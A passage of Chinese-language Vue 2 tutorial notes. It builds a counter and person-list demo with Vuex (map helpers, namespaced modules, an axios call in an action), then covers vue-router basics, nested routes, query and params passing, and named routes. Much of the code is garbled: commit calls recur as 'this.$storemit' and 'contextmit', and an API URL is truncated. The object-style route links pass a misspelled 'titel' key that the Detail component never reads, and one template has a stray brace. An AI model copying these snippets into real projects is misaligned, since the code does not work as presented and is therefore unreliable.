    data() {
      return {
        n:1//迭代
      }
    },  
    computed:{
      // 靠程序员自己亲自去写计算属性
      /* he(){
        return this.$store.state.sum
      },
      school(){
        return this.$store.state.school
      },
      xueke(){
        return this.$store.state.subject
      }, */
      // 借助mapState生成计算属性,从state中读取数据(对象写法)
      // 靠vuex的mapState生成映射函数  加...是因为es6中的语法:由于mapState是对象,不能直接放到另一个对象内部,应该使用...将其所有属性放入另一个对象内部
      ...mapState({he:"sum",xueke:"subject"}),//key可省略引号,但value不可省略引号
      // 借助mapState生成计算属性,从state中读取数据(数组写法)
      // 如果key和value都一样,如state的school,我们就起别名为school,可用数组的写法
      ...mapState(["school"]),

      /* bigSum(){
        return this.$store.getters.bigSum
      } */
      //借助mapGetters生成计算属性,从getters中读取数据。(对象写法)
      //...mapGetters({bigSum:"bigSum"})
      //借助mapGetters生成计算属性,从getters中读取数据。(数组写法)
      ...mapGetters(["bigSum"])
    },
    methods: {
        increment(){
         this.$store.dispatch('jia',this.n)
        },
        decrement(){
        //  this.$store.dispatch('jian',this.n)//由于不需要业务逻辑,直接commit即可,即不需要dispatch转到actions,直接commit到mutations也行
         this.$storemit('JIAN',this.n)
        },
        incrementOdd(){
          /* if(this.$store.state.sum%2){
            this.$store.dispatch('jia',this.n)
          } */
          // 或者将业务逻辑交给actions
          this.$store.dispatch('jiaOdd',this.n)
        },
        incrementWait(){
          setTimeout(() => {
            this.$store.dispatch('jia',this.n)
          }, 3000);
        }
    },
}
</script>
<style scoped>
button{
  margin-left: 5px;
}
</style>

mapMutatioin和mapAction

Count.vue中methods中调用this.$storemit进行和mutation对话,有没有简写形式?有的,引入vuex中的mapMutatioin 
对于his.$store.dispatch('jiaOdd',this.n),也可用vuex的mapAction简化。

备注: mapActions与mapMutations使用时,若需要传递参数需要:在模板中绑定事件时传递好参数,否则参数是事件对象。

还是上面的vuex的求和案例

src下store下index.js

/* 该文件用于创建vuex中最为核心的store */

import Vue from 'vue'
import Vuex from 'vuex'
// 准备actions—-用于响应组件中的动作
const actions={// 如果有业务逻辑,写在actions中, context上下文可获取一些数据
    jiaOdd:function(context,value){
        if(context.state.sum%2){
            contextmit("JIA",value)
        }
    },
    jiaWait(context,value){
        setTimeout(() => {
            contextmit("JIA",value)
        }, 3000);
    }
}
// 准备mutations—-用于操作数据(state)
const mutations={ // 这里就不要写业务逻辑了
    JIA(state,value){
        state.sum+=value
    },
    JIAN(state,value){
        state.sum-=value
    }
}
// 准备state—-用于存储数据
const state={
    sum:0,//求和
    school:"尚硅谷",
    subject:"前端"
}
//准备getters—用于将state中的数据进行加工
const getters={ //还需在下面的new Vuex.Store({})中配置进去
    bigSum(state){
        return state.sum*10
    }
}

Vue.use(Vuex)
//创建并暴露 store
export default new Vuex.Store({
    actions,
    mutations,
    state,
    getters
})

Count.vue

<template>
<div>
    <h1>当前求和为{{he}}</h1>
    <h3>当前求和放大10被为:{{bigSum}}</h3>
    <h3>我在{{school}},学习{{xueke}}</h3>
    <select v-model="n">
      <option :value="1">1</option>
      <option :value="2">2</option>
      <option :value="3">3</option>
    </select>
    <button @click="increment(n)">+</button>
    <button @click="decrement(n)">-</button>
    <button @click="incrementOdd(n)">当前求和为奇数再加</button>
    <button @click="incrementWait(n)">等一等再加</button>
  </div>
</template>

<script>
// 使用vuex的mapState,先要引入mapState
import { mapState,mapGetters,mapMutations,mapActions} from "vuex"
export default {
    name:"Count",
    data() {
      return {
        n:1//迭代
      }
    },  
    computed:{
      
      // 借助mapState生成计算属性,从state中读取数据(对象写法)
      ...mapState({he:"sum",xueke:"subject"}),//key可省略引号,但value不可省略引号
      // 借助mapState生成计算属性,从state中读取数据(数组写法)
      ...mapState(["school"]),
      //借助mapGetters生成计算属性,从getters中读取数据。(对象写法)
      //...mapGetters({bigSum:"bigSum"})
      //借助mapGetters生成计算属性,从getters中读取数据。(数组写法)
      ...mapGetters(["bigSum"])
    },
    methods: {
        // 程序员亲自写的方法
        /* increment(){
         this.$storemit('JIA',this.n)
        },
        decrement(){
         this.$storemit('JIAN',this.n)
        }, */

        // 使用mapMutation简化,不过要在template的绑定的方法中使用()传参,若不传参的话,会默认将event传给入参。
        // 借助mapMutations生成对应的方法,方法中会调用commit去联系mutations(对象写法)
        ...mapMutations({increment:"JIA",decrement:"JIAN"}),
        //借助mapMutations生成对应的方法,方法中会调用commit去联系mutations(数组写法)
        //...mapMutations(["JIA","JIAN"]),

        /* *********************************** */
        /* incrementOdd(){
          // 或者将业务逻辑交给actions
          this.$store.dispatch('jiaOdd',this.n)
        },
        incrementWait(){
          this.$store.dispatch('jiaWait',this.n)
        }, */
        // 借助mapActions生成对应的方法,方法中会调用dispatch去联系actions(对象写法)
        ...mapActions({incrementOdd:"jiaOdd",incrementWait:"jiaWait"}),
        // 借助mapActions生成对应的方法,方法中会调用dispatch去联系actions(数组写法)
        //...mapActions(["jiaOdd","jiaWait"])
    },
}
</script>
<style scoped>
button{
  margin-left: 5px;
}
</style>

多组件共享数据

 Person组件和Count的数据都放到vuex的store中

main.js还是上面Vuex的求和案例的main.js.

src下store下index.js

/* 该文件用于创建vuex中最为核心的store */

import Vue from 'vue'
import Vuex from 'vuex'
// 准备actions—-用于响应组件中的动作
const actions={// 如果有业务逻辑,写在actions中, context上下文可获取一些数据
    jiaOdd:function(context,value){
        if(context.state.sum%2){
            contextmit("JIA",value)
        }
    },
    jiaWait(context,value){
        setTimeout(() => {
            contextmit("JIA",value)
        }, 3000);
    }
}
// 准备mutations—-用于操作数据(state)
const mutations={ // 这里就不要写业务逻辑了
    JIA(state,value){
        state.sum+=value
    },
    JIAN(state,value){
        state.sum-=value
    },
    ADD_PERSON(state,value){
        state.personList.unshift(value)
    },
}
// 准备state—-用于存储数据
const state={
    sum:0,//求和
    school:"尚硅谷",
    subject:"前端",
    personList:[
        {id:"001",name:"张三"}
    ]
}
//准备getters—用于将state中的数据进行加工
const getters={ //还需在下面的new Vuex.Store({})中配置进去
    bigSum(state){
        return state.sum*10
    }
}

Vue.use(Vuex)
//创建并暴露 store
export default new Vuex.Store({
    actions,
    mutations,
    state,
    getters
})

Count.vue

<template>
<div>
    <h1>当前求和为{{sum}}</h1>
    <h3>当前求和放大10被为:{{bigSum}}</h3>
    <h3>我在{{school}},学习{{subject}}</h3>
    <h3 style="color:red">Person组件的总人数是:{{personList.length}}</h3>
    <select v-model="n">
      <option :value="1">1</option>
      <option :value="2">2</option>
      <option :value="3">3</option>
    </select>
    <button @click="increment(n)">+</button>
    <button @click="decrement(n)">-</button>
    <button @click="incrementOdd(n)">当前求和为奇数再加</button>
    <button @click="incrementWait(n)">等一等再加</button>
  </div>
</template>

<script>
// 使用vuex的mapState,先要引入mapState
import { mapState,mapGetters,mapMutations,mapActions} from "vuex"
export default {
    name:"Count",
    data() {
      return {
        n:1//迭代
      }
    },  
    computed:{
      // 借助mapState生成计算属性,从state中读取数据(数组写法)
      ...mapState(["sum","school","subject","personList"]),
      ...mapGetters(["bigSum"])
    },
    methods: {
        // 使用mapMutation简化,不过要在template的绑定的方法中使用()传参,若不传参的话,会默认将event传给入参。
        // 借助mapMutations生成对应的方法,方法中会调用commit去联系mutations(对象写法)
        ...mapMutations({increment:"JIA",decrement:"JIAN"}),

        // 借助mapActions生成对应的方法,方法中会调用dispatch去联系actions(对象写法)
        ...mapActions({incrementOdd:"jiaOdd",incrementWait:"jiaWait"}),

    },
}
</script>
<style scoped>
button{
  margin-left: 5px;
}
</style>

Person.vue

<template>
  <div>
    <h1>人员列表</h1>
    <h3>Count组件的求和为:{{bigSum}}</h3>
    <input type="text" placeholder="请输入名字" v-model="name">
    <button @click="add">添加</button>
    <ul>
        <li v-for="p in personList" :key="p.id">{{p.name}}</li>
    </ul>
  </div>
</template> 

<script>
import { mapState,mapGetters,mapMutations,mapActions} from "vuex"
import {nanoid} from "nanoid"
export default {
    name:"Person",
    data() {
        return {
            name:""
        }
    },
    computed:{
        ...mapState(["personList"]),
        ...mapGetters(["bigSum"])
    },
    methods:{
        add(){
            const personObj  ={id:nanoid(),name:this.name}
            this.$storemit("ADD_PERSON",personObj)
        },
    }
}
</script>

<style>

</style>

App.vue中引用Count和Person

Vuex模块化

 由于现在Count组件和Person组件都使用的src下的store下的index.js,这样action或mutation中或state中就会多个组件都有。我们改成模块化的方式。

main.js还是上面vuex求和案例的main.js

src下store文件夹下的index.js使用命名空间和模块化:

/* 该文件用于创建vuex中最为核心的store */

import Vue from 'vue'
import Vuex from 'vuex'
//vuex的模块化

// 求和相关的配置
const countOptions = {
    namespaced:true,//需要加上这个namespaced为true
    actions:{
        jiaOdd:function(context,value){
            if(context.state.sum%2){
                contextmit("JIA",value)
            }
        },
        jiaWait(context,value){
            setTimeout(() => {
                contextmit("JIA",value)
            }, 3000);
        }
    },
    mutations:{
        JIA(state,value){
            state.sum+=value
        },
        JIAN(state,value){
            state.sum-=value
        },
    },
    state:{
        sum:0,//求和
        school:"尚硅谷",
        subject:"前端",
    },
    getters:{
        bigSum(state){
            return state.sum*10
        }   
    }
}

// 人员管理相关的配置
const personOptions = {
    namespaced:true,//需要加上这个namespaced为true
    actions:{
        addPersonWang(context,value){
            if(value.name.indexOf("王")==0){
                contextmit("ADD_PERSON",value)
            }else{
                alert("添加的人必须姓王")
            }
        }
    },
    mutations:{
        ADD_PERSON(state,value){
            state.personList.unshift(value)
        },
    },
    state:{
        personList:[
            {id:"001",name:"张三"}
        ]
    },
    getters:{
        firstPersonName(state){
            return state.personList[0].name//因为这里的state访问的是局部的state
        }
    }
}

Vue.use(Vuex)
//创建并暴露 store
export default new Vuex.Store({
    modules:{//模块化需要这么写
        countAbout:countOptions,
        personAbout:personOptions
    }
})

甚至该index.js也可将count和person两个模块拆出来成count.js和person.js,然后再index.js中引入

Count.vue中使用模块化的vuex的写法

<template>
<div>
    <h1>当前求和为{{sum}}</h1>
    <h3>当前求和放大10被为:{{bigSum}}</h3>
    <h3>我在{{school}},学习{{subject}}</h3>
    <h3 style="color:red">Person组件的总人数是:{{personList.length}}}</h3>
    <select v-model="n">
      <option :value="1">1</option>
      <option :value="2">2</option>
      <option :value="3">3</option>
    </select>
    <button @click="increment(n)">+</button>
    <button @click="decrement(n)">-</button>
    <button @click="incrementOdd(n)">当前求和为奇数再加</button>
    <button @click="incrementWait(n)">等一等再加</button>
  </div>
</template>

<script>
// 使用vuex的mapState,先要引入mapState
import { mapState,mapGetters,mapMutations,mapActions} from "vuex"
export default {
    name:"Count",
    data() {
      return {
        n:1//迭代
      }
    },  
    computed:{
      //模块化的需要这样写:
      ...mapState("countAbout",['sum','school','subject']),
      ...mapState("personAbout",['personList']),
      ...mapGetters("countAbout",["bigSum"])
    },
    methods: {
        // 使用mapMutation简化,不过要在template的绑定的方法中使用()传参,若不传参的话,会默认将event传给入参。
        // 借助mapMutations生成对应的方法,方法中会调用commit去联系mutations(对象写法)
        ...mapMutations("countAbout",{increment:"JIA",decrement:"JIAN"}),

        // 借助mapActions生成对应的方法,方法中会调用dispatch去联系actions(对象写法)
        ...mapActions("countAbout",{incrementOdd:"jiaOdd",incrementWait:"jiaWait"}),

    },
}
</script>
<style scoped>
button{
  margin-left: 5px;
}
</style>

Person.vue中使用vuex的模块化的语法,还有亲手写的$store的commit和getters和dispatch

<template>
  <div>
    <h1>人员列表</h1>
    <h3>Count组件的求和为:{{bigSum}}</h3>
    <h3>列表中第一个人的name是:{{firstPersonName}}</h3>
    <input type="text" placeholder="请输入名字" v-model="name">
    <button @click="add">添加</button>
    <button @click="addWang">添加一个姓王的人</button>
    <ul>
        <li v-for="p in personList" :key="p.id">{{p.name}}</li>
    </ul>
  </div>
</template> 

<script>
import { mapState,mapGetters,mapMutations,mapActions} from "vuex"
import {nanoid} from "nanoid"
export default {
    name:"Person",
    data() {
        return {
            name:""
        }
    },
    computed:{
        // ...mapState("personAbout",["personList"]),
        //亲手写
        personList(){
            return this.$store.state.personAbout.personList
        },
        ...mapGetters("countAbout",["bigSum"]),
        //亲手写
        firstPersonName(){
            return this.$store.getters["personAbout/firstPersonName"]//通过[]获取数据.getter的这个是personAbout/firstPersonName这样获取的
        }
    },
    methods:{
        add(){
            const personObj  ={id:nanoid(),name:this.name}
            //亲手写
            this.$storemit("personAbout/ADD_PERSON",personObj)
            this.name=""
        },
        addWang(){
            const personObj  ={id:nanoid(),name:this.name}
            this.$store.dispatch("personAbout/addPersonWang",personObj)
            this.name=""

        }
    }
}
</script>

<style scoped>
button{
    margin-left: 5px;
}
</style>

App.vue中引入即可

<template>
  <div>
      <Count/>
      <hr/>
      <Person/>
  </div>
</template>
<script>
import Count from './components/Count.vue' 
import Person from './components/Person.vue' 
export default {
  name:"App",
  components:{
    Count,
    Person,
  }
}
</script>

也可将src下的store文件夹下的index.js拆成下面两个文件,然后引入。

src下store文件夹下的count.js文件

// 求和相关的配置
export default{
    namespaced:true,//需要加上这个namespaced为true
    actions:{
        jiaOdd:function(context,value){
            if(context.state.sum%2){
                contextmit("JIA",value)
            }
        },
        jiaWait(context,value){
            setTimeout(() => {
                contextmit("JIA",value)
            }, 3000);
        }
    },
    mutations:{
        JIA(state,value){
            state.sum+=value
        },
        JIAN(state,value){
            state.sum-=value
        },
    },
    state:{
        sum:0,//求和
        school:"尚硅谷",
        subject:"前端",
    },
    getters:{
        bigSum(state){
            return state.sum*10
        }   
    }
}

src下的store文件夹下的person.js文件

// 人员管理相关的配置
export default{
    namespaced:true,//需要加上这个namespaced为true
    actions:{
        addPersonWang(context,value){
            if(value.name.indexOf("王")==0){
                contextmit("ADD_PERSON",value)
            }else{
                alert("添加的人必须姓王")
            }
        }
    },
    mutations:{
        ADD_PERSON(state,value){
            state.personList.unshift(value)
        },
    },
    state:{
        personList:[
            {id:"001",name:"张三"}
        ]
    },
    getters:{
        firstPersonName(state){
            return state.personList[0].name//因为这里的state访问的是局部的state
        }
    }
}

src下的store文件夹下的index.js中引入 

/* 该文件用于创建vuex中最为核心的store */

import Vue from 'vue'
import Vuex from 'vuex'
//vuex的模块化
import countOptions from "./count"
import personOptions from "./person"

Vue.use(Vuex)
//创建并暴露 store
export default new Vuex.Store({
    modules:{//模块化需要这么写
        countAbout:countOptions,
        personAbout:personOptions
    }
})

也可再actions中发送ajax请求,如下addPersonServer

import axios from "axios"
import { nanoid } from "nanoid"
// 人员管理相关的配置
export default{
    namespaced:true,//需要加上这个namespaced为true
    actions:{
        addPersonWang(context,value){
            if(value.name.indexOf("王")==0){
                contextmit("ADD_PERSON",value)
            }else{
                alert("添加的人必须姓王")
            }
        },
        addPersonServer(context){
            axios.get("https://api.uixsj/hitokoto/get?type=social").then(
                response=>{
                    contextmit("ADD_PERSON",{id:nanoid(),name:response.data})
                },
                error=>{
                    alert(error.message)
                }
            )
        }
    },
    mutations:{
        ADD_PERSON(state,value){
            state.personList.unshift(value)
        },
    },
    state:{
        personList:[
            {id:"001",name:"张三"}
        ]
    },
    getters:{
        firstPersonName(state){
            return state.personList[0].name//因为这里的state访问的是局部的state
        }
    }
}

然后Person.vue中定义一个button点击访问该action即可

<template>
  <div>
    <h1>人员列表</h1>
    <h3>Count组件的求和为:{{bigSum}}</h3>
    <h3>列表中第一个人的name是:{{firstPersonName}}</h3>
    <input type="text" placeholder="请输入名字" v-model="name">
    <button @click="add">添加</button>
    <button @click="addWang">添加一个姓王的人</button>
    <button @click="addPersonServer">添加一个服务器中获取的人名</button>
    <ul>
        <li v-for="p in personList" :key="p.id">{{p.name}}</li>
    </ul>
  </div>
</template> 

<script>
import { mapState,mapGetters,mapMutations,mapActions} from "vuex"
import {nanoid} from "nanoid"
export default {
    name:"Person",
    data() {
        return {
            name:""
        }
    },
    computed:{
        // ...mapState("personAbout",["personList"]),
        //亲手写
        personList(){
            return this.$store.state.personAbout.personList
        },
        ...mapGetters("countAbout",["bigSum"]),
        //亲手写
        firstPersonName(){
            return this.$store.getters["personAbout/firstPersonName"]//通过[]获取数据.getter的这个是personAbout/firstPersonName这样获取的
        }
    },
    methods:{
        add(){
            const personObj  ={id:nanoid(),name:this.name}
            //亲手写
            this.$storemit("personAbout/ADD_PERSON",personObj)
            this.name=""
        },
        addWang(){
            const personObj  ={id:nanoid(),name:this.name}
            this.$store.dispatch("personAbout/addPersonWang",personObj)
            this.name=""
        },
        addPersonServer(){
            this.$store.dispatch("personAbout/addPersonServer")
        }
    }
}
</script>

<style scoped>
button{
    margin-left: 5px;
}
</style>

路由

 编程世界中的路由为了实现SPA单页面应用

 网站web应用:n多个html页面,页面之间来来回回跳转。多页面来回调转比较繁琐。
SPA单页面应用:单页面怎么实现切换呢?
应用分为左右,左侧为导航区,点击左侧导航栏的某个导航按钮,右侧进行呈现。
且切换页面点击导航按钮,整个网站是不会刷新,页面不走也不跳,也就是浏览器的右上角的刷新按钮不会转的,页面仅是局部更新的。
单用户页面:页面不刷新,且路径也会跟着变化。用户体验更好。
点击左侧某个导航菜单按钮,浏览路径就会变化,然后vue中的router会时时刻刻进行时视监测到,发现路径修改后,会根据程序员配置的路由规则,如果和路由规则匹配就展现相应的组件。

vue-router:vue的一个插件库,专门用来实现SPA应用:
    是一个库 npm -vue-router 是一个插件,需要Vue.use()
对SPA的理解?
    1.单页Web应用(single page web application,SPA)。
    2.整个应用只有一个完整的页面。
    3.点击页面中的导航链接不会刷新页面,只会做页面的局部更新。
    4.数据需要通过ajax请求获取。
对路由的理解?
    1.—个路由就是—组映射关系(key - value) 
    2. key为路径, value可能是function或componente
路由分类?
    1.后端路由:
        1)理解:value是function,用于处理客户端提交的请求。
        2)工作过程:服务器接收到一个请求时,根据请求路径找到匹配的函数来处理请求,返回响应数据。
    2.前端路由:
        1)理解: value是component,用于展示页面内容。
        2)工作过程:当浏览器的路径改变时,对应的组件就会显示。
想实现SPA,得先有导航区到导航的名和点后编程的路径,导航的组件,然后还要匹配路由规则。还要安装vue-router

路由基本使用

项目根目录下安装vue-router

 vue3用vue-router4,vue2用vue-router3.

npm i vue-router@3

 然后main.js中引入并use这个vue-router插件。

然后src下创建router文件夹,创建index.js文件,编写router配置

// 该文件专门用来创建整个应用的路由器
import VueRouter from "vue-router";
//引入组件
import About from "../components/About"
import Home from "../components/Home"
// 创建一个路由器
/* const router =  */
//创建并暴露一个路由器
export default new VueRouter({
    routes:[
        {//如果路径为/about,就看About组件
            path:'/about',
            component:About
        },
        {
            path:'/home',
            component:Home
        },
    ]
})

main.js中在vm中配置router为路由配置项

import Vue from 'vue'
import App from "./App.vue"
//引入vueRouter
import VueRouter from 'vue-router'
//引入路由器
import Router from "./router/index"
Vue.config.productionTip=false
Vue.use(VueRouter)
new Vue({
  el:"#app",
  render:h=>h(App),
  //  引入并使用了插件vueRouter,就可再vm中配置router了:
  router:Router
})

Home.vue

<template>
  <h2>我是Home内容</h2>
</template>

<script>
export default {
    name:"Home"
}
</script>

About.vue

<template>
  <h2>我是About内容</h2>
</template>

<script>
export default {
    name:"About"
}
</script>

App.vue中使用<router-link>和<router-view>给导航绑定路由路径,并指定组件呈现的位置

<template>
  <div>
      <div>
        <h1>Vue Router Demo</h1>
      </div>
      <div>
        <div>
          <!-- <a>About</a>
               <a>Home</a> -->
          <!-- html中使用a标签加href实现页面跳转,
          Vue中借助router-link标签实现路由的切换
          vue-router中使用router-link标签加to来实现路由跳转
          router-link最终能转为a标签
          active-class="active"可根据点击后进入的对用路由路径的按钮标记为高亮
          -->
          <router-link active-class="active" to="/about">About</router-link><br/>
          <router-link active-class="active" to="/home">Home</router-link>
        </div>
        <hr/>
        <div>
          <!-- 指定组件的呈现位置 -->
          <router-view></router-view>
        </div>
      </div>
  </div>
</template>
<script>
 
export default {
  name:"App",
  components:{

  }
}
</script>

路由的几个注意点

 App.vue中的标头部分我们拆出一个组件Banner.vue放入components文件夹中

<template>
  <div>
    <h1>Vue Router Demo</h1>
  </div>
</template>

<script>
export default {
 name:"Banner"
}
</script>

<style>

</style>

  App.vue中

<template>
  <div>
      <Banner/>
      <div>
        <div>
          <!-- <a>About</a>
               <a>Home</a> -->
          <!-- html中使用a标签加href实现页面跳转,
          Vue中借助router-link标签实现路由的切换
          vue-router中使用router-link标签加to来实现路由跳转
          router-link最终能转为a标签
          active-class="active"可根据点击后进入的对用路由路径的按钮标记为高亮
          -->
          <router-link active-class="active" to="/about">About</router-link><br/>
          <router-link active-class="active" to="/home">Home</router-link>
        </div>
        <hr/>
        <div>
          <!-- 指定组件的呈现位置 -->
          <router-view></router-view>
        </div>
      </div>
  </div>
</template>
<script>
import Banner from "./components/Banner.vue"
export default {
  name:"App",
  components:{
    Banner,
  }
}
</script>

 将上面路由基本使用章节中的About.vue和Home.vue放入src下创建的pages文件夹。

修改src下router文件夹中的index.js中的import from的位置。

// 该文件专门用来创建整个应用的路由器
import VueRouter from "vue-router";
//引入组件
import About from "../pages/About"
import Home from "../pages/Home"
// 创建一个路由器
/* const router =  */
//创建并暴露一个路由器
export default new VueRouter({
    routes:[
        {//如果路径为/about,就看About组件
            path:'/about',
            component:About
        },
        {
            path:'/home',
            component:Home
        },
    ]
})

其中Banner为一般组件,需要亲自import和注册和写<Banner/>标签。
About.vue和Home.vue为路由组件,不需要注册,直接通过router-link的to定,点击后修改了路由,路由器时视监测到了,去找配置的router路由规则找该路径具体的组件,并返回,并在router-view的位置由路由器呈现渲染出来。
1.开发中一般会把一般组件和路由组件放到不同的文件夹中去。src下的pages文件夹专门放路由组件,src下components文件夹专门放一般组件。
2.不用的路由组件,或说切走的路由组件,是被销毁了。
3.路由组件身上比一般组件的vc中多了$route路由配置该路由组件的路径等内容,和所有路由组件共用的相同的$router路由器。

几个注意点
1.路由组件通常存放在pages文件夹,一般组件通常存放在components文件夹。

2.通过切换,“隐藏"了的路由组件,默认是被销毁掉的,需要的时候再去挂载。

3.每个组件都有自己的$route属性,里面存储着自己的路由信息。
4.整个应用只有一个router,可以通过组件的$router属性获取到。

嵌套(多级)路由

当点击导航栏的Home后,除了展示Home组件展示区,还有一个新的Home中的导航区,里面导航按钮还能再点再显示组件
 

main.js中引入vue-router和路由器

import Vue from 'vue'
import App from "./App.vue"
//引入vueRouter
import VueRouter from 'vue-router'
//引入路由器
import Router from "./router/index"
Vue.config.productionTip=false
Vue.use(VueRouter)
new Vue({
  el:"#app",
  render:h=>h(App),
  //  引入并使用了插件vueRouter,就可再vm中配置router了:
  router:Router
})

src下pages下创建Home.vue 并配置其子导航message的和news的和展示区

<template>
  <div>
    <h2>我是Home内容</h2>
    <!-- to的路径子级路径需要带着父级路径 -->
    <router-link active-class="active" to="/home/news">News</router-link>&nbsp;&nbsp;&nbsp;
    <router-link active-class="active" to="/home/message">Message</router-link>
    <hr/>
    <router-view></router-view>
  </div>
</template>

<script>
export default {
    name:"Home",
}
</script>

src下pages下创建About.vue

<template>
  <h2>我是About内容</h2>
  
</template>

<script>
export default {
    name:"About",
}
</script>

src下pages下创建Message.vue

<template>
  <div>
    <ul>
        <li>
            <a href="/messages1">message001</a>&nbsp;&nbsp;
        </li>   
        <li>
            <a href="/messages2">message002</a>&nbsp;&nbsp;
        </li>
        <li>
            <a href="/messages3">message003</a>&nbsp;&nbsp;
        </li>
    </ul>
  </div>
</template>

<script>
export default {
    name:"Message"
}
</script>

src下pages下创建News.vue

<template>
  <ul>
    <li>news001</li>
    <li>news002</li>
    <li>news003</li>
  </ul>
</template>

<script>
export default {
    name:"News"
}
</script>

src下router文件夹下index.js中配置home和abour的路由,然后再home路由中配置message和news的子路由

// 该文件专门用来创建整个应用的路由器
import VueRouter from "vue-router";
//引入组件
import About from "../pages/About"
import Home from "../pages/Home"
import Message from "../pages/Message.vue"
import News from "../pages/News.vue"
// 创建一个路由器
/* const router =  */
//创建并暴露一个路由器
export default new VueRouter({
    routes:[
        {
            path:'/about',
            component:About
        },
        {// 一级路由
            path:'/home',
            component:Home,
            children:[
                {// 一级路由的子路由,path不需要加斜杠了
                    path:"news",
                    component:News
                },
                {// 一级路由的子路由,path不需要加斜杠了
                    path:"message",
                    component:Message
                }
            ]
        },
    ]
})

 src下components下的Banner.vue

<template>
  <div>
    <h1>Vue Router Demo</h1>
  </div>
</template>

<script>
export default {
 name:"Banner"
}
</script>

<style>

</style>

 App.vue中配置home和about导航和展示区

<template>
  <div>
      <Banner/>
      <div>
        <div>
          <!-- <a>About</a>
               <a>Home</a> -->
          <!-- html中使用a标签加href实现页面跳转,
          Vue中借助router-link标签实现路由的切换
          vue-router中使用router-link标签加to来实现路由跳转
          router-link最终能转为a标签
          active-class="active"可根据点击后进入的对用路由路径的按钮标记为高亮
          -->
          <router-link active-class="active" to="/about">About</router-link><br/>
          <router-link active-class="active" to="/home">Home</router-link>
        </div>
        <hr/>
        <hr/>
        <hr/>
        <div>
          <!-- 指定组件的呈现位置 -->
          <router-view></router-view>
        </div>
      </div>
  </div>
</template>
<script>
import Banner from "./components/Banner.vue"
export default {
  name:"App",
  components:{
    Banner,
  }
}
</script>

路由query传参

 三级路由,且第三级Detail.vue中的内容根据第二级消息的传参传过去

还是接着上面的嵌套路由的案例

src下pages目录下加上Detail.vue组件

<template>
  <ul>
    <li>消息编号{{$route.query.id}}</li>
    <li>消息标题{{$route.query.title}}</li>
  </ul>
</template>

<script>
export default {
    name:"Detail"
}
</script>

src下router目录下index.js文件中给message配上子路由Detail,并通过$route中的query接收参数

// 该文件专门用来创建整个应用的路由器
import VueRouter from "vue-router";
//引入组件
import About from "../pages/About"
import Home from "../pages/Home"
import Message from "../pages/Message.vue"
import News from "../pages/News.vue"
import Detail from "../pages/Detail.vue"
// 创建一个路由器
/* const router =  */
//创建并暴露一个路由器
export default new VueRouter({
    routes:[
        {
            path:'/about',
            component:About
        },
        {// 一级路由
            path:'/home',
            component:Home,
            children:[
                {// 一级路由的子路由,path不需要加斜杠了
                    path:"news",
                    component:News
                },
                {// 一级路由的子路由,path不需要加斜杠了
                    path:"message",
                    component:Message,
                    children:[//二级路由的子路由
                        {
                            path:"detail",
                            component:Detail,
                        }
                    ]
                }
            ]
        },
    ]
})

pages下的message.vue下配置detail的导航按钮和展示区,并通过query传参

<template>
  <div>
    <ul>
        <li v-for="m in messageList" :key="m.id">
            <!-- 跳转路由并携带query参数,to的字符串写法 -->
            <!-- <router-link active-class="active" :to="`/home/message/detail?id=${m.id}&title=${m.title}`">{{m.title}}</router-link>&nbsp;&nbsp; -->
            <!-- 跳转路由并携带query参数,to的对象写法 -->
            <router-link :to="{
                path:'/home/message/detail',
                query:{
                    id:m.id,
                    titel:m.title
                }
            }">
                {{m.title}}
            </router-link>
        </li>
    </ul>
    <hr/>
    <router-view></router-view>
  </div>
</template>

<script>
export default {
    name:"Message",
    data() {
        return {
            messageList:[
                {id:"001",title:"消息001"},
                {id:"002",title:"消息002"},
                {id:"003",title:"消息003"},
            ]        
        }
    },
    
}
</script>

命名路由

比如src下router下index.js中对about的路由和对message下的detail路由起个名字,用name

// 该文件专门用来创建整个应用的路由器
import VueRouter from "vue-router";
//引入组件
import About from "../pages/About"
import Home from "../pages/Home"
import Message from "../pages/Message.vue"
import News from "../pages/News.vue"
import Detail from "../pages/Detail.vue"
// 创建一个路由器
/* const router =  */
//创建并暴露一个路由器
export default new VueRouter({
    routes:[
        {
            name:"guanyu",
            path:'/about',
            component:About
        },
        {// 一级路由
            path:'/home',
            component:Home,
            children:[
                {// 一级路由的子路由,path不需要加斜杠了
                    path:"news",
                    component:News
                },
                {// 一级路由的子路由,path不需要加斜杠了
                    path:"message",
                    component:Message,
                    children:[//二级路由的子路由
                        {
                            name:"xiangqing",
                            path:"detail",
                            component:Detail,
                        }
                    ]
                }
            ]
        },
    ]
})

然后再Mesage.vue中配置detail的路径,就可用不用写path:'/home/message/detail'。
而直接写name:"xiangqing"

            <router-link :to="{
                name:'xiangqing',
                query:{
                    id:m.id,
                    titel:m.title
                }
            }">
                {{m.title}}
            </router-link>

路由params参数

路由器中的路由的path应使用:占位符

{
   name:"xiangqing",
   //path:"detail",
   // params参数由于是类似restFul风格的路径传参,所以得用以下方式占位
   path:"detail/:id/:title",
   component:Detail,
}

还是上面的嵌套-命名路由的项目,接着写,src下router下的index.js

// 该文件专门用来创建整个应用的路由器
import VueRouter from "vue-router";
//引入组件
import About from "../pages/About"
import Home from "../pages/Home"
import Message from "../pages/Message.vue"
import News from "../pages/News.vue"
import Detail from "../pages/Detail.vue"
// 创建一个路由器
/* const router =  */
//创建并暴露一个路由器
export default new VueRouter({
    routes:[
        {
            name:"guanyu",
            path:'/about',
            component:About
        },
        {// 一级路由
            path:'/home',
            component:Home,
            children:[
                {// 一级路由的子路由,path不需要加斜杠了
                    path:"news",
                    component:News
                },
                {// 一级路由的子路由,path不需要加斜杠了
                    path:"message",
                    component:Message,
                    children:[//二级路由的子路由
                        {
                            name:"xiangqing",
                            //path:"detail",
                            // params参数由于是类似restFul风格的路径传参,所以得用以下方式占位
                            path:"detail/:id/:title",
                            component:Detail,
                        }
                    ]
                }
            ]
        },
    ]
})

pages下的Message.vue中params传参的to的字符串和对象写法

<template>
  <div>
    <ul>
        <li v-for="m in messageList" :key="m.id">
            <!-- 跳转路由并携带params参数,to的字符串写法 -->
            <!-- <router-link active-class="active" :to="`/home/message/detail/${m.id}/${m.title}`">{{m.title}}</router-link>&nbsp;&nbsp; -->
            <!-- 跳转路由并携带params参数,to的对象写法 -->
            <router-link :to="{
                // 当使用params传参的时候,路径这里,不允许使用path:'',只能使用name:''
                name:'xiangqing',
                params:{
                    id:m.id,
                    titel:m.title
                }
            }">
                {{m.title}}
            </router-link>
        </li>
    </ul>
    <hr/>
    <router-view></router-view>
  </div>
</template>

<script>
export default {
    name:"Message",
    data() {
        return {
            messageList:[
                {id:"001",title:"消息001"},
                {id:"002",title:"消息002"},
                {id:"003",title:"消息003"},
            ]        
        }
    },
    
}
